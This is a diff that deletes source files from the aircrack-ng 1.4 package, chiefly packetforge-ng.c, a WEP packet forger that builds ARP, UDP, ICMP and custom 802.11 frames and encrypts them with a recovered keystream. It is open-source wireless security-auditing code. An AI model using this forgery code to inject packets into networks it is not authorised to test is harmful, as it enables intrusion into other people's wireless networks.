-		K[1] = (iv >> 8) & 0xFF;
-		K[0] = (iv) &0xFF;
-
-		for (i = 0; i < 256; i++) S[i] = i;
-
-		for (i = j = 0; i < 256; i++)
-		{
-			j = (j + S[i] + K[i % keylen]) & 0xFF;
-			SWAP(S[i], S[j]);
-		}
-
-		if (errorrate > 0 && ((float) ((float) rand() / (float) RAND_MAX)
-							  <= (float) (errorrate /
-#if defined(__x86_64__) && defined(__CYGWIN__)
-										  (0.0f + 100))))
-#else
-										  100.0f)))
-#endif
-		{
-			SWAP(S[1], S[11]);
-		}
-
-		memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-		ivs2.flags = 0;
-		ivs2.len = 0;
-
-		ivs2.flags |= IVS2_XOR;
-		ivs2.len += length + 4;
-
-		if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
-			!= (size_t) sizeof(struct ivs2_pkthdr))
-		{
-			perror("fwrite(IV header) failed");
-			return (1);
-		}
-
-		if (fwrite(K, 1, 3, f_ivs_out) != (size_t) 3)
-		{
-			perror("fwrite(IV iv) failed");
-			return (1);
-		}
-		if (fwrite(&zero, 1, 1, f_ivs_out) != (size_t) 1)
-		{
-			perror("fwrite(IV idx) failed");
-			return (1);
-		}
-		ivs2.len -= 4;
-
-		i = j = 0;
-		for (k = 0; k < length; k++)
-		{
-			i = (i + 1) & 0xFF;
-			j = (j + S[i]) & 0xFF;
-			SWAP(S[i], S[j]);
-			fprintf(f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF]);
-		}
-		if ((n % 10000) == 0)
-			printf("%2.1f%%\r",
-				   ((float) n / (float) count) *
-#if defined(__x86_64__) && defined(__CYGWIN__)
-					   (0.0f + 100));
-#else
-					   100.0f);
-#endif
-		fflush(stdout);
-	}
-
-	fclose(f_ivs_out);
-	printf("Done.\n");
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/packetforge-ng.c Deleted

@@ -1,1529 +0,0 @@
-/*
- *  802.11 ARP-request WEP packet forgery
- *  UDP, ICMP and custom packet forging developed by Martin Beck
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005  Christophe Devine (arpforge)
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/time.h>
-#include <time.h>
-#include <limits.h>
-#include <getopt.h>
-#include "version.h"
-#include "pcap.h"
-#include "crypto.h"
-#include "aircrack-osdep/byteorder.h"
-#include "aircrack-util/common.h"
-#include "aircrack-util/console.h"
-
-#define ARP_REQ                                                                \
-	"\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00"                         \
-	"\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC"         \
-	"\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22"         \
-	"\x00\x00\x00\x00\x00\x00\x00\x00"
-
-#define UDP_PACKET                                                             \
-	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"         \
-	"\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74"         \
-	"\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05"
-
-#define ICMP_PACKET                                                            \
-	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"         \
-	"\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74"         \
-	"\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01"
-
-#define NULL_PACKET                                                            \
-	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32"
-
-char usage[] = "\n"
-			   "  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-			   "  Original work: Martin Beck\n"
-			   "  https://www.aircrack-ng.org\n"
-			   "\n"
-			   "  Usage: packetforge-ng <mode> <options>\n"
-			   "\n"
-			   "  Forge options:\n"
-			   "\n"
-			   "      -p <fctrl>     : set frame control word (hex)\n"
-			   "      -a <bssid>     : set Access Point MAC address\n"
-			   "      -c <dmac>      : set Destination  MAC address\n"
-			   "      -h <smac>      : set Source       MAC address\n"
-			   "      -j             : set FromDS bit\n"
-			   "      -o             : clear ToDS bit\n"
-			   "      -e             : disables WEP encryption\n"
-			   "      -k <ip[:port]> : set Destination IP [Port]\n"
-			   "      -l <ip[:port]> : set Source      IP [Port]\n"
-			   "      -t ttl         : set Time To Live\n"
-			   "      -w <file>      : write packet to this pcap file\n"
-			   "      -s <size>      : specify size of null packet\n"
-			   "      -n <packets>   : set number of packets to generate\n"
-			   "\n"
-			   "  Source options:\n"
-			   "\n"
-			   "      -r <file>      : read packet from this raw file\n"
-			   "      -y <file>      : read PRGA from this file\n"
-			   "\n"
-			   "  Modes:\n"
-			   "\n"
-			   "      --arp          : forge an ARP packet    (-0)\n"
-			   "      --udp          : forge an UDP packet    (-1)\n"
-			   "      --icmp         : forge an ICMP packet   (-2)\n"
-			   "      --null         : build a null packet    (-3)\n"
-			   "      --custom       : build a custom packet  (-9)\n"
-			   "\n"
-			   "      --help         : Displays this usage screen\n"
-			   "\n";
-
-struct options
-{
-	unsigned char bssid[6];
-	unsigned char dmac[6];
-	unsigned char smac[6];
-	unsigned char dip[4];
-	unsigned char sip[4];
-	unsigned char fctrl[2];
-	unsigned char * prga;
-
-	char * cap_out;
-	char * raw_file;
-
-	int mode;
-	int pktlen;
-	int prgalen;
-	int ttl;
-	int size;
-
-	unsigned short sport;
-	unsigned short dport;
-
-	char tods;
-	char fromds;
-	char encrypt;
-
-	FILE * ivs2;
-	unsigned char prev_bssid[6];
-	int first_packet;
-
-	int num_packets;
-} opt;
-
-struct devices
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_rtc;
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-} dev;
-
-unsigned char h80211[2048];
-unsigned char tmpbuf[2048];
-
-static int capture_ask_packet(int * caplen)
-{
-	time_t tr;
-	struct timeval tv;
-
-	long nb_pkt_read;
-	int i, j, n, mi_b, mi_s, mi_d;
-	int ret;
-
-	struct pcap_pkthdr pkh;
-
-	tr = time(NULL);
-
-	nb_pkt_read = 0;
-
-	if (opt.raw_file == NULL)
-	{
-		printf("Please specify an input file (-r).\n");
-		return 1;
-	}
-
-	while (1)
-	{
-		if (time(NULL) - tr > 0)
-		{
-			tr = time(NULL);
-			printf("\rRead %ld packets...\r", nb_pkt_read);
-			fflush(stdout);
-		}
-
-		/* there are no hidden backdoors in this source code */
-
-		n = sizeof(pkh);
-
-		if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-		{
-			printf("\r");
-			erase_line(0);
-			printf("End of file.\n");
-			return (1);
-		}
-
-		if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-		{
-			SWAP32(pkh.caplen);
-			SWAP32(pkh.len);
-		}
-
-		tv.tv_sec = pkh.tv_sec;
-		tv.tv_usec = pkh.tv_usec;
-
-		n = *caplen = pkh.caplen;
-
-		if (n <= 0 || n > (int) sizeof(h80211))
-		{
-			printf("\r");
-			erase_line(0);
-			printf("Invalid packet length %d.\n", n);
-			return (1);
-		}
-
-		if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-		{
-			printf("\r");
-			erase_line(0);
-			printf("End of file.\n");
-			return (1);
-		}
-
-		if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-		{
-			if (h80211[7] == 0x40)
-				n = 64;
-			else
-				n = *(int *) (h80211 + 4);
-
-			if (n < 8 || n >= (int) *caplen) continue;
-
-			memcpy(tmpbuf, h80211, *caplen);
-			*caplen -= n;
-			memcpy(h80211, tmpbuf + n, *caplen);
-		}
-
-		if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-		{
-			/* remove the radiotap header */
-
-			n = *(unsigned short *) (h80211 + 2);
-
-			if (n <= 0 || n >= (int) *caplen) continue;
-
-			memcpy(tmpbuf, h80211, *caplen);
-			*caplen -= n;
-			memcpy(h80211, tmpbuf + n, *caplen);
-		}
-
-		if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-		{
-			/* remove the PPI header */
-
-			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-			if (n <= 0 || n >= (int) *caplen) continue;
-
-			/* for a while Kismet logged broken PPI headers */
-			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-				n = 32;
-
-			if (n <= 0 || n >= (int) *caplen) continue;
-
-			memcpy(tmpbuf, h80211, *caplen);
-			*caplen -= n;
-			memcpy(h80211, tmpbuf + n, *caplen);
-		}
-
-		nb_pkt_read++;
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				mi_b = 16;
-				mi_s = 10;
-				mi_d = 4;
-				break;
-			case 1:
-				mi_b = 4;
-				mi_s = 10;
-				mi_d = 16;
-				break;
-			case 2:
-				mi_b = 10;
-				mi_s = 16;
-				mi_d = 4;
-				break;
-			default:
-				mi_b = 10;
-				mi_d = 16;
-				mi_s = 24;
-				break;
-		}
-
-		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
-			   *caplen,
-			   (h80211[1] & 2) >> 1,
-			   (h80211[1] & 1));
-
-		if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0)
-		{
-			if ((h80211[27] & 0x20) == 0)
-				printf(" (WEP)");
-			else
-				printf(" (WPA)");
-		}
-
-		printf("\n\n");
-
-		printf("             BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_b],
-			   h80211[mi_b + 1],
-			   h80211[mi_b + 2],
-			   h80211[mi_b + 3],
-			   h80211[mi_b + 4],
-			   h80211[mi_b + 5]);
-
-		printf("         Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_d],
-			   h80211[mi_d + 1],
-			   h80211[mi_d + 2],
-			   h80211[mi_d + 3],
-			   h80211[mi_d + 4],
-			   h80211[mi_d + 5]);
-
-		printf("        Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-			   h80211[mi_s],
-			   h80211[mi_s + 1],
-			   h80211[mi_s + 2],
-			   h80211[mi_s + 3],
-			   h80211[mi_s + 4],
-			   h80211[mi_s + 5]);
-
-		/* print a hex dump of the packet */
-
-		for (i = 0; i < *caplen; i++)
-		{
-			if ((i & 15) == 0)
-			{
-				if (i == 224)
-				{
-					printf("\n        --- CUT ---");
-					break;
-				}
-
-				printf("\n        0x%04x:  ", i);
-			}
-
-			printf("%02x", h80211[i]);
-
-			if ((i & 1) != 0) printf(" ");
-
-			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
-			{
-				for (j = ((i + 1) & 15); j < 16; j++)
-				{
-					printf("  ");
-					if ((j & 1) != 0) printf(" ");
-				}
-
-				printf(" ");
-
-				for (j = 16 - ((i + 1) & 15); j < 16; j++)
-					printf("%c",
-						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
-							   ? '.'
-							   : h80211[i - 15 + j]);
-			}
-
-			if (i > 0 && i < INT_MAX && ((i + 1) & 15) == 0)
-			{
-				printf(" ");
-
-				for (j = 0; j < 16; j++)
-					printf("%c",
-						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
-							   ? '.'
-							   : h80211[i - 15 + j]);
-			}
-		}
-
-		printf("\n\nUse this packet ? ");
-		fflush(stdout);
-		ret = 0;
-		while (!ret) ret = scanf("%1s", tmpbuf);
-		printf("\n");
-
-		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
-	}
-
-	return (0);
-}
-
-/* IP address parsing routine */
-static int getip(char * s, unsigned char * ip, unsigned short * port)
-{
-	int i = 0, n;
-
-	while (sscanf(s, "%d", &n) == 1)
-	{
-		if (n < 0 || n > 255) return (1);
-
-		ip[i] = n;
-
-		if (++i == 4) break;
-
-		if (!(s = strchr(s, '.'))) break;
-
-		s++;
-	}
-
-	if (i != 4) return 1;
-
-	if ((s = strchr(s, ':')) && i == 4)
-	{
-		s++;
-		if (sscanf(s, "%d", &n) == 1)
-		{
-			if (n > 0 && n < 65536) *port = n;
-		}
-	}
-
-	return (i != 4);
-}
-
-static unsigned short ip_chksum(unsigned short * addr, int count)
-{
-	unsigned short checksum;
-	/* Compute Internet Checksum for "count" bytes
-		*         beginning at location "addr".
-		*/
-
-	unsigned long sum = 0;
-
-	while (count > 1)
-	{
-		/*  This is the inner loop */
-		sum += *addr;
-		addr++;
-		count -= 2;
-	}
-
-	/*  Add left-over byte, if any */
-	if (count > 0) sum += *(unsigned char *) addr;
-
-	/*  Fold 32-bit sum to 16 bits */
-	while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
-
-	checksum = ~sum;
-
-	return checksum;
-}
-
-static int set_tofromds(unsigned char * packet)
-{
-	if (packet == NULL) return 1;
-
-	/* set TODS,FROMDS bits */
-	if (((opt.tods & 1) == 1) && ((opt.fromds & 1) == 1))
-	{
-		packet[1] = (packet[1] & 0xFC) | 0x03; /* set TODS=1,FROMDS=1 */
-	}
-
-	if (((opt.tods & 1) == 1) && ((opt.fromds & 1) == 0))
-	{
-		packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */
-	}
-
-	if (((opt.tods & 1) == 0) && ((opt.fromds & 1) == 1))
-	{
-		packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */
-	}
-
-	if (((opt.tods & 1) == 0) && ((opt.fromds & 1) == 0))
-	{
-		packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */
-	}
-
-	return 0;
-}
-
-static int set_bssid(unsigned char * packet)
-{
-	int mi_b;
-
-	if (packet == NULL) return 1;
-
-	if (memcmp(opt.bssid, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a BSSID (-a).\n");
-		return 1;
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			mi_b = 16;
-			break;
-		case 1:
-			mi_b = 4;
-			break;
-		case 2:
-			mi_b = 10;
-			break;
-		default:
-			mi_b = 10;
-			break;
-	}
-
-	/* write bssid mac */
-	memcpy(packet + mi_b, opt.bssid, 6);
-
-	return 0;
-}
-
-static int set_dmac(unsigned char * packet)
-{
-	int mi_d;
-
-	if (packet == NULL) return 1;
-
-	if (memcmp(opt.dmac, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a destination MAC (-c).\n");
-		return 1;
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			mi_d = 4;
-			break;
-		case 1:
-			mi_d = 16;
-			break;
-		case 2:
-			mi_d = 4;
-			break;
-		default:
-			mi_d = 16;
-			break;
-	}
-
-	/* write destination mac */
-	memcpy(packet + mi_d, opt.dmac, 6);
-
-	return 0;
-}
-
-static int set_smac(unsigned char * packet)
-{
-	int mi_s;
-
-	if (packet == NULL) return 1;
-
-	if (memcmp(opt.smac, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a source MAC (-h).\n");
-		return 1;
-	}
-
-	switch (packet[1] & 3)
-	{
-		case 0:
-			mi_s = 10;
-			break;
-		case 1:
-			mi_s = 10;
-			break;
-		case 2:
-			mi_s = 16;
-			break;
-		default:
-			mi_s = 24;
-			break;
-	}
-
-	/* write source mac */
-	memcpy(packet + mi_s, opt.smac, 6);
-
-	return 0;
-}
-
-/* offset for ip&&udp = 48, for arp = 56 */
-static int set_dip(unsigned char * packet, const int offset)
-{
-	if (packet == NULL) return 1;
-	if (offset < 0 || offset > 2046) return 1;
-
-	if (memcmp(opt.dip, NULL_MAC, 4) == 0)
-	{
-		printf("Please specify a destination IP (-k).\n");
-		return 1;
-	}
-
-	/* set destination IP */
-	memcpy(packet + offset, opt.dip, 4);
-
-	return 0;
-}
-
-/* offset for ip&&udp = 44, for arp = 46 */
-static int set_sip(unsigned char * packet, const int offset)
-{
-	if (packet == NULL) return 1;
-	if (offset < 0 || offset > 2046) return 1;
-
-	if (memcmp(opt.sip, NULL_MAC, 4) == 0)
-	{
-		printf("Please specify a source IP (-l).\n");
-		return 1;
-	}
-
-	/* set source IP */
-	memcpy(packet + offset, opt.sip, 4);
-
-	return 0;
-}
-
-static int set_ipid(unsigned char * packet, const int offset)
-{
-	unsigned short id;
-
-	if (packet == NULL) return 1;
-	if (offset < 0 || offset > 2046) return 1;
-
-	id = (rand() & 0xFFFF);
-	/* set IP Identification */
-	memcpy(packet + offset, (unsigned char *) &id, 2);
-
-	return 0;
-}
-
-static int set_ip_ttl(unsigned char * packet)
-{
-	unsigned char ttl;
-
-	if (packet == NULL) return 1;
-
-	ttl = opt.ttl;
-	memcpy(packet + 40, &ttl, 1);
-
-	return 0;
-}
-
-static int set_IVidx(unsigned char * packet)
-{
-	if (packet == NULL) return 1;
-
-	if (opt.prga == NULL)
-	{
-		printf("Please specify a PRGA file (-y).\n");
-		return 1;
-	}
-
-	/* insert IV+index */
-	memcpy(packet + 24, opt.prga, 4);
-
-	return 0;
-}
-
-static int next_keystream(unsigned char * dest,
-						  const int size,
-						  unsigned char * bssid,
-						  const int minlen)
-{
-	struct ivs2_pkthdr ivs2;
-	char * buffer;
-	int gotit = 0;
-
-	if (opt.ivs2 == NULL) return -1;
-	if (minlen > size + 4) return -1;
-
-	while (fread(&ivs2, sizeof(struct ivs2_pkthdr), 1, opt.ivs2) == 1)
-	{
-		if (ivs2.flags & IVS2_BSSID)
-		{
-			if ((int) fread(opt.prev_bssid, 6, 1, opt.ivs2) != 1) return -1;
-			ivs2.len -= 6;
-		}
-
-		if (ivs2.len == 0) continue;
-
-		buffer = (char *) malloc(ivs2.len);
-		if (buffer == NULL) return -1;
-
-		if ((int) fread(buffer, ivs2.len, 1, opt.ivs2) != 1)
-		{
-			free(buffer);
-			return -1;
-		}
-
-		if (memcmp(bssid, opt.prev_bssid, 6) != 0)
-		{
-			free(buffer);
-			continue;
-		}
-
-		if ((ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen + 4) && !gotit)
-		{
-			if (size >= ivs2.len)
-			{
-				memcpy(dest, buffer, ivs2.len);
-				opt.prgalen = ivs2.len;
-			}
-			else
-			{
-				memcpy(dest, buffer, size);
-				opt.prgalen = size;
-			}
-			gotit = 1;
-		}
-		free(buffer);
-		if (gotit) return 0;
-	}
-
-	if (feof(opt.ivs2))
-	{
-		if (fseek(opt.ivs2,
-				  sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1,
-				  SEEK_SET)
-			== -1)
-		{
-			return -1;
-		}
-		return 1;
-	}
-	return -1;
-}
-
-static int
-encrypt_data(unsigned char * dest, const unsigned char * data, const int length)
-{
-	unsigned char cipher[2048];
-	int n;
-
-	if (dest == NULL) return 1;
-	if (data == NULL) return 1;
-	if (length < 1 || length > 2044) return 1;
-
-	if (opt.prga == NULL && opt.ivs2 == NULL)
-	{
-		printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION);
-		return 1;
-	}
-
-	if (opt.ivs2 != NULL)
-	{
-		n = next_keystream(opt.prga, 1500, opt.bssid, length);
-		if (n < 0)
-		{
-			printf("Error getting keystream.\n");
-			return 1;
-		}
-		if (n == 1)
-		{
-			if (opt.first_packet == 1)
-			{
-				printf("Error no keystream in %s file is long enough (%d).\n",
-					   IVS2_EXTENSION,
-					   length);
-				return 1;
-			}
-			else
-				next_keystream(opt.prga, 1500, opt.bssid, length);
-		}
-	}
-
-	if (opt.prgalen - 4 < length)
-	{
-		printf(
-			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
-			(length + 4));
-		return 1;
-	}
-
-	/* encrypt data */
-	for (n = 0; n < length; n++)
-	{
-		cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
-	}
-
-	memcpy(dest, cipher, length);
-
-	return 0;
-}
-
-static int create_wep_packet(unsigned char * packet, int * length)
-{
-	if (packet == NULL) return 1;
-
-	/* write crc32 value behind data */
-	if (add_crc32(packet + 24, *length - 24) != 0) return 1;
-
-	/* encrypt data+crc32 and keep a 4byte hole */
-	if (encrypt_data(packet + 28, packet + 24, *length - 20) != 0) return 1;
-
-	/* write IV+IDX right in front of the encrypted data */
-	if (set_IVidx(packet) != 0) return 1;
-
-	/* set WEP bit */
-	packet[1] = packet[1] | 0x40;
-
-	*length += 8;
-	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
-
-	return 0;
-}
-
-static int write_cap_packet(unsigned char * packet, const int length)
-{
-	FILE * f;
-	struct pcap_file_header pfh;
-	struct pcap_pkthdr pkh;
-	struct timeval tv;
-	int n;
-
-	if (length <= 0)
-	{
-		printf("Invalid length, must be > 0.\n");
-		printf("Please report.\n");
-		return 1;
-	}
-
-	if (opt.cap_out == NULL)
-	{
-		printf("Please specify an output file (-w).\n");
-		return 1;
-	}
-
-	if (opt.first_packet)
-	{
-		if ((f = fopen(opt.cap_out, "wb+")) == NULL)
-		{
-			fprintf(stderr, "failed: fopen(%s,wb+)\n", opt.cap_out);
-			return (1);
-		}
-
-		pfh.magic = TCPDUMP_MAGIC;
-		pfh.version_major = PCAP_VERSION_MAJOR;
-		pfh.version_minor = PCAP_VERSION_MINOR;
-		pfh.thiszone = 0;
-		pfh.sigfigs = 0;
-		pfh.snaplen = 65535;
-		pfh.linktype = LINKTYPE_IEEE802_11;
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fwrite(&pfh, 1, n, f) != (size_t) n)
-		{
-			fprintf(stderr, "failed: fwrite(pcap file header)\n");
-			fclose(f);
-			return (1);
-		}
-	}
-	else
-	{
-		if ((f = fopen(opt.cap_out, "ab+")) == NULL)
-		{
-			fprintf(stderr, "failed: fopen(%s,ab+)\n", opt.cap_out);
-			return (1);
-		}
-	}
-
-	gettimeofday(&tv, NULL);
-
-	pkh.tv_sec = tv.tv_sec;
-	pkh.tv_usec = tv.tv_usec;
-	pkh.len = length;
-	pkh.caplen = length;
-
-	n = sizeof(pkh);
-
-	if (fwrite(&pkh, 1, n, f) != (size_t) n)
-	{
-		fprintf(stderr, "fwrite(packet header) failed\n");
-		fclose(f);
-		return (1);
-	}
-
-	n = length;
-
-	if (fwrite(packet, 1, n, f) != (size_t) n)
-	{
-		fprintf(stderr, "fwrite(packet data) failed\n");
-		fclose(f);
-		return (1);
-	}
-
-	fclose(f);
-
-	if (opt.first_packet) opt.first_packet = 0;
-
-	return 0;
-}
-
-static int read_prga(unsigned char ** dest, const char * file)
-{
-	FILE * f;
-	int size;
-	struct ivs2_filehdr fivs2;
-
-	if (file == NULL) return (1);
-	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
-
-	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0
-		&& memcmp(file + (strlen(file) - 4), "." IVS2_EXTENSION, 4) != 0)
-	{
-		printf("Is this really a PRGA file: %s?\n", file);
-	}
-
-	f = fopen(file, "rb");
-
-	if (f == NULL)
-	{
-		printf("Error opening %s\n", file);
-		return (1);
-	}
-
-	fseek(f, 0, SEEK_END);
-	size = ftell(f);
-	if (size == -1)
-	{
-		printf("Error getting file position %s\n", file);
-		fclose(f);
-		return (1);
-	}
-	rewind(f);
-
-	if (size > 1500) size = 1500;
-
-	if ((int) fread((*dest), size, 1, f) != 1)
-	{
-		fprintf(stderr, "fread failed\n");
-		fclose(f);
-		return (1);
-	}
-
-	if (memcmp((*dest), IVS2_MAGIC, 4) == 0)
-	{
-		if ((size_t) size < sizeof(struct ivs2_filehdr) + 4)
-		{
-			fprintf(stderr, "No valid %s file.", IVS2_EXTENSION);
-			fclose(f);
-			return (1);
-		}
-		memcpy(&fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr));
-		if (fivs2.version > IVS2_VERSION)
-		{
-			printf("Error, wrong %s version: %d. Supported up to version %d.\n",
-				   IVS2_EXTENSION,
-				   fivs2.version,
-				   IVS2_VERSION);
-		}
-
-		opt.ivs2 = f;
-		fseek(
-			f, sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1, SEEK_SET);
-	}
-	else
-	{
-		// assuming old xor file
-		if ((*dest)[3] > 0x03)
-		{
-			printf("Are you really sure that this is a valid keystream? "
-				   "Because the index is out of range (0-3): %02X\n",
-				   (*dest)[3]);
-		}
-
-		opt.prgalen = (int) size;
-		fclose(f);
-	}
-	return (0);
-}
-
-static int forge_arp(void)
-{
-
-	/* use arp request */
-	opt.pktlen = 60;
-	memcpy(h80211, ARP_REQ, opt.pktlen);
-
-	memcpy(opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
-
-	if (set_tofromds(h80211) != 0) return 1;
-	if (set_bssid(h80211) != 0) return 1;
-	if (set_smac(h80211) != 0) return 1;
-	if (set_dmac(h80211) != 0) return 1;
-
-	memcpy(h80211 + 40, opt.smac, 6);
-
-	if (set_dip(h80211, 56) != 0) return 1;
-	if (set_sip(h80211, 46) != 0) return 1;
-
-	return 0;
-}
-
-static int forge_udp(void)
-{
-	unsigned short chksum;
-
-	opt.pktlen = 61;
-	memcpy(h80211, UDP_PACKET, opt.pktlen);
-
-	if (set_tofromds(h80211) != 0) return 1;
-	if (set_bssid(h80211) != 0) return 1;
-	if (set_smac(h80211) != 0) return 1;
-	if (set_dmac(h80211) != 0) return 1;
-
-	if (set_dip(h80211, 48) != 0) return 1;
-	if (set_sip(h80211, 44) != 0) return 1;
-	if (opt.ttl != -1)
-		if (set_ip_ttl(h80211) != 0) return 1;
-
-	if (set_ipid(h80211, 36) != 0) return 1;
-
-	/* set udp length */
-	h80211[57] = '\x09';
-
-	/* generate + set ip checksum */
-	chksum = ip_chksum((unsigned short *) (h80211 + 32), 20);
-	memcpy(h80211 + 42, &chksum, 2);
-
-	return 0;
-}
-
-static int forge_icmp(void)
-{
-	unsigned short chksum;
-
-	opt.pktlen = 60;
-	memcpy(h80211, ICMP_PACKET, opt.pktlen);
-
-	if (memcmp(opt.dmac, NULL_MAC, 6) == 0)
-	{
-		memcpy(opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
-	}
-
-	if (set_tofromds(h80211) != 0) return 1;
-	if (set_bssid(h80211) != 0) return 1;
-	if (set_smac(h80211) != 0) return 1;
-	if (set_dmac(h80211) != 0) return 1;
-
-	if (set_dip(h80211, 48) != 0) return 1;
-	if (set_sip(h80211, 44) != 0) return 1;
-	if (opt.ttl != -1)
-		if (set_ip_ttl(h80211) != 0) return 1;
-
-	if (set_ipid(h80211, 36) != 0) return 1;
-
-	/* generate + set ip checksum */
-	chksum = ip_chksum((unsigned short *) (h80211 + 32), 20);
-	memcpy(h80211 + 42, &chksum, 2);
-
-	return 0;
-}
-
-static int forge_null(void)
-{
-	opt.pktlen = opt.size;
-	memcpy(h80211, NULL_PACKET, 24);
-	memset(h80211 + 24, '\0', (opt.pktlen - 24));
-
-	if (memcmp(opt.dmac, NULL_MAC, 6) == 0)
-	{
-		memcpy(opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
-	}
-
-	if (set_tofromds(h80211) != 0) return 1;
-	if (set_bssid(h80211) != 0) return 1;
-	if (set_smac(h80211) != 0) return 1;
-	if (set_dmac(h80211) != 0) return 1;
-
-	if (opt.pktlen > 26) h80211[26] = 0x03;
-
-	return 0;
-}
-
-static int forge_custom(void)
-{
-	if (capture_ask_packet(&opt.pktlen) != 0) return 1;
-	//    if(read_raw_packet(h80211, opt.raw_file, opt.pktlen) != 0) return 1;
-
-	if (set_tofromds(h80211) != 0) return 1;
-
-	if (memcmp(opt.bssid, NULL_MAC, 6) != 0)
-	{
-		if (set_bssid(h80211) != 0) return 1;
-	}
-	if (memcmp(opt.dmac, NULL_MAC, 6) != 0)
-	{
-		if (set_dmac(h80211) != 0) return 1;
-	}
-	if (memcmp(opt.smac, NULL_MAC, 6) != 0)
-	{
-		if (set_smac(h80211) != 0) return 1;
-	}
-
-	return 0;
-}
-
-static void print_usage(void)
-{
-	char * version_info = getVersion(
-		"Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf(usage, version_info);
-	free(version_info);
